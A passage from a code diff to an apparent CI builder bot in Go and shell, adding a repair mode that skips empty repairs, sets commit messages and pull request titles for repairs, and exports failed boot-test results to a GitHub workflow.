kind " + job.Kind} } @@ -369,14 +396,22 @@ func (c *workerConfig) openPR(dir string, job *builderJob, res *buildResult) (st summary += fmt.Sprintf("\nReplaces #%d (closed, branch deleted).\n", n) } auth := "http.extraHeader=Authorization: token " + c.botToken + commit, title := prText(job.GameName, job.ID, res) + if res.Repair { + // A repair that changed nothing has nothing to propose + diff := exec.Command("git", "status", "--porcelain", "--", filepath.ToSlash(res.Dir)) + diff.Dir = dir + if out, _ := diff.Output(); len(strings.TrimSpace(string(out))) == 0 { + return "", errors.New("the repair changed nothing in the template: " + strings.Join(res.Problems, "; ")) + } + } steps := []struct { name string args []string }{ {"checkout", []string{"checkout", "-q", "-b", branch}}, {"add", []string{"add", filepath.ToSlash(res.Dir)}}, - {"commit", []string{"-c", "user.name=" + c.botLogin, "-c", "user.email=" + c.botEmail, "commit", "-q", "-m", - fmt.Sprintf("feat(games): draft %s\n\nDrafted and boot-tested by the GBR builder (job %s).", job.GameName, job.ID)}}, + {"commit", []string{"-c", "user.name=" + c.botLogin, "-c", "user.email=" + c.botEmail, "commit", "-q", "-m", commit}}, // Forced: the branch is the bot's own, and whatever was on it was the draft being replaced {"push", []string{"-c", auth, "push", "-q", "--force", "origin", branch}}, } @@ -388,10 +423,6 @@ func (c *workerConfig) openPR(dir string, job *builderJob, res *buildResult) (st return "", fmt.Errorf("git %s: %s", s.name, strings.ReplaceAll(string(out), c.botToken, "***")) } } - title := "feat(games): add " + job.GameName - if !res.Passed { - title = "WIP: " + title + " (did not boot yet)" - } var pr struct { HTMLURL string `json:"html_url"` } @@ -489,3 +520,17 @@ func readJSON(p string, out any) error { } return json.Unmarshal(raw, out) } + +// prText is the commit message and pull request title for a new game or a repair. +func prText(gameName, jobID string, res *buildResult) (commit, title string) { + commit = fmt.Sprintf("feat(games): draft %s\n\nDrafted and boot-tested by the GBR builder (job %s).", gameName, jobID) + title = "feat(games): add " + gameName + if res.Repair { + commit = fmt.Sprintf("fix(games): repair %s\n\nRepaired and boot-tested by the GBR builder (job %s).", gameName, jobID) + title = "fix(games): repair " + gameName + } + if !res.Passed { + title = "WIP: " + title + " (did not boot yet)" + } + return commit, title +} diff --git a/scripts/boot-test.sh b/scripts/boot-test.sh index a77ed01..6e12708 100755 --- a/scripts/boot-test.sh +++ b/scripts/boot-test.sh @@ -54,4 +54,6 @@ done echo "passed: ${passed[*]:-none}" echo "skipped: ${skipped[*]:-none} (missing secrets)" echo "failed: ${failed[*]:-none}" +# For the workflow: the weekly run queues a repair for each failed game +[ -n "${GITHUB_OUTPUT:-}" ] && echo "failed=${failed[*]}" >> "$GITHUB_OUTPUT" [ ${#failed[@]} -eq 0 ]